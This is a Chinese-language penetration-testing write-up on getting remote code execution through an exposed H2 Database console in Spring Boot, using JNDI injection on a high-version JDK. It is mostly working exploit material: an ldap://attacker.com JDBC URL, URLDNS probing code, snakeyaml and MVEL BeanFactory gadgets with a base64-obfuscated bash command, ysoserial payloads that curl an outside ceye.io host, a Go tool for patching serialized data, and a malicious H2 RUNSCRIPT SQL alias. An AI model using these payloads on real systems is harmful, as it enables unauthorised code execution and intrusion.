0x1. 切入点

在日常测试的时候,使用ffuf发现一个/console的接口,打开之后发现是H2 Database页面:

如果Spring Boot项目中包含h2database并且在配置文件中启用h2-console,则存在JNDI注入漏洞.

设置Driver Classjavax.naming.InitialContextJDBC URLldap://attacker.com/Exploit

根据/env泄漏的信息,得知Java版本是1.8.0_312,高版本JDK中由于默认codebase为true从而导致客户端默认不会请求远程Server上的恶意 Class, 因此不可以直接使用LDAP加载远程恶意代码。

RMI:JDK 8u113、JDK 7u122、JDK 6u132 起 codebase 默认为 true
LDAP:JDK 11.0.1、JDK 8u191、JDK 7u201、JDK 6u211 起 codebase 默认为 true

0x2. 绕过和利用

利用本地Class作为Reference Factory绕过

利用URLDNS链可以探测Java黑盒应用里面某个类是否存在, 在珂字辈和c0ny1师傅的两篇文章讲的很详细:

URLDNS的测试代码,生成一个序列化的数据包1.ser

package test;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
import javassist.ClassPool;
import javassist.CtClass;


public class Urldns {
    public static void main(String[] args) throws Exception {
        HashMap hashMap = new HashMap();
          URL url = new URL("http://333.f9575af1.dns.1433.eu.org");
          Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
          f.setAccessible(true);
          f.set(url, 1);
          //hashMap.put(url, org.apache.commons.beanutils.BeanComparator.class);
          hashMap.put(url, makeClass("org.apache.commons.beanutils.BeanComparator"));
          f.set(url, -1);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));
        oos.writeObject(hashMap);
        //ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
        //ois.readObject();
    }
    public static Class makeClass(String clazzName) throws Exception{
        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.makeClass(clazzName);
        Class clazz = ctClass.toClass();
        ctClass.defrost();
        return clazz;
    }
}

因为动态生成的类也可以被反序列化,因此上面代码生成的序列化数据,最好在另外一个环境里面反序列化测试。
post请求提交上面生成的1.ser/yso接口,如果生成1.ser里面的类在反序列化的时候存在,则会收到dnslog请求:

package com.example.demo.controller;


import org.apache.logging.log4j.ThreadContext;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.*;
import org.apache.logging.log4j.core.lookup.UpperLookup;
import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;

@ResponseBody
@RestController
public class TestClass {

    @PostMapping("/yso")
    public void URLDemo(HttpServletRequest request, HttpServletResponse response) throws Exception{
        ServletInputStream inputStream = request.getInputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
    }

    private static final Logger logger = LoggerFactory.getLogger(TestClass.class);
    @GetMapping("/log")
    public String echo(@RequestHeader("X-Api-Version") String apiVersion) {

        ThreadContext.put("apiVersion", apiVersion);
        logger.info("Received a request");
        UpperLookup upperLookup = new UpperLookup();
        logger.info(upperLookup.lookup("i"));
        return "Hello, API Controller!";
    }
}

珂字辈师傅已经写好了URLDNS,可以生成探测需要的序列化数据包。当存在JNDI注入的时候,启动LDAP服务:java -jar Urldns.jar ldap all <dnslog>,然后使用PAYLOAD: ldap://<ip>:1389/Hello233

Snkeyml

借用Ceye.io探测H2 Database的页面,发现可以利用的链很多,比如cc1, cb17、mvel、snakeyaml等,其中cc1、cb17这些链属于LDAP反序列化,mvel、snkeyaml属于加载本地Class。
浅蓝师傅在探索高版本JDK下JNDI漏洞的利用方法里面讲的很详细,这里选择使用snkeyml攻击,主要利用代码:

private static ResourceRef tomcat_snakeyaml(){
    ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    String yaml = "!!javax.script.ScriptEngineManager [\n" +
            "  !!java.net.URLClassLoader [[\n" +
            "    !!java.net.URL [\"http://127.0.0.1:8888/exp.jar\"]\n" +
            "  ]]\n" +
            "]";
    ref.add(new StringRefAddr("forceString", "a=load"));
    ref.add(new StringRefAddr("a", yaml));
    return ref;
}

在服务端使用RMI托管,然后开启yaml-payload.jar,可以成功执行命令。

Mvel

在更换MVEL执行的时候,本地测试弹计算器成功,但是换成执行命令就会失败,使用IDEA本地调试之后发现把push去掉,然后可以执行命令成功,具体原因需要再跟踪一遍:

private static ReferenceWrapper tomcat_MVEL() throws RemoteException, NamingException {
ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
            true, "org.apache.naming.factory.BeanFactory", null);
    ref.add(new StringRefAddr("forceString", "a=exec"));
    ref.add(new StringRefAddr("a",
            "Runtime.getRuntime().exec('bash -c {echo,Y3VybCBiYWlkdS5jb20vYHdob2FtaWA=}|{base64,-d}|{bash,-i}');"));
    return new ReferenceWrapper(ref);
}

利用LDAP返回反序列化数据,触发本地Gadget绕过

LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的javaSerializedData属性值不为空,则客户端的obj.decodeObject()方法就会对这个字段的内容进行反序列化,攻击者仍然可以利用受害者本地CLASSPATH中存在漏洞的反序列化Gadget达到绕过限制执行命令的目的。

使用CC链可以测试成功,可以执行命令:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 'curl xbaax2.ceye.io'|base64 |pbcopy
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections7 'curl xbaax2.ceye.io'|base64 |pbcopy

但是在使用CB链的时候,执行命令失败:

可以从报错原因看出来,因为CommonsBeanutils1的版本不同,BeanComparator这个类的SerialVersionUID不一样,会造成反序列化失败。1.7x-1.8x为-3490850999041592962,1.9x为-2044202215314119608
有两种解决方法:

刚好早上看到P师傅发的文章,尝试使用zkar修改ysoserial生成的序列化数据包,可以执行命令成功。

package main

import (
	"github.com/phith0n/zkar/serz"
	"io/ioutil"
	"log"
)

func main() {
	data, _ := ioutil.ReadFile("cb1.ser")
	serialization, err := serz.FromBytes(data)
	if err != nil {
		log.Fatal("parse error")
	}

	object := serialization.Contents[0].Object
	for _, field := range object.ClassDatas[0].FieldDatas {
		if field.TypeCode == "L" {
			classPonter := field.Object.(*serz.TCObject).ClassPointer
			if classPonter.Flag == serz.JAVA_TC_CLASSDESC &&
				classPonter.NormalClassDesc.ClassName.Data == "org.apache.commons.beanutils.BeanComparator" {
				classPonter.NormalClassDesc.SerialVersionUID = -3490850999041592962
				break
			}
		}
	}

	ioutil.WriteFile("cb1-modify.ser", serialization.ToBytes(), 0o755)
}

H2 RCE

参考su18师傅的jdbc-connection-url-attack

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

远程服务器的恶意SQL:

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('open -a Calculator.app')

Spring < 2.3.0的时候,会默认创建jdbc:h2:mem:testdb,Spring >= 2.3.0的时候,Spring会自动创建一个UUID随机数据库名,数据库名可以在Spirng的日志里看到。

所以使用这种方法的时候需要满足以下任意一个条件:

  • Spring < 2.3.0
  • 提前获取到H2 database的用户密码

注意事项

  • RMI托管在VPS的时候,修改java.rmi.server.hostname为自己服务器的IP地址
  • 在完全黑盒的情况下,注意SerialVersionUID不匹配的问题,具体见URLDNS

参考链接

⬆︎TOP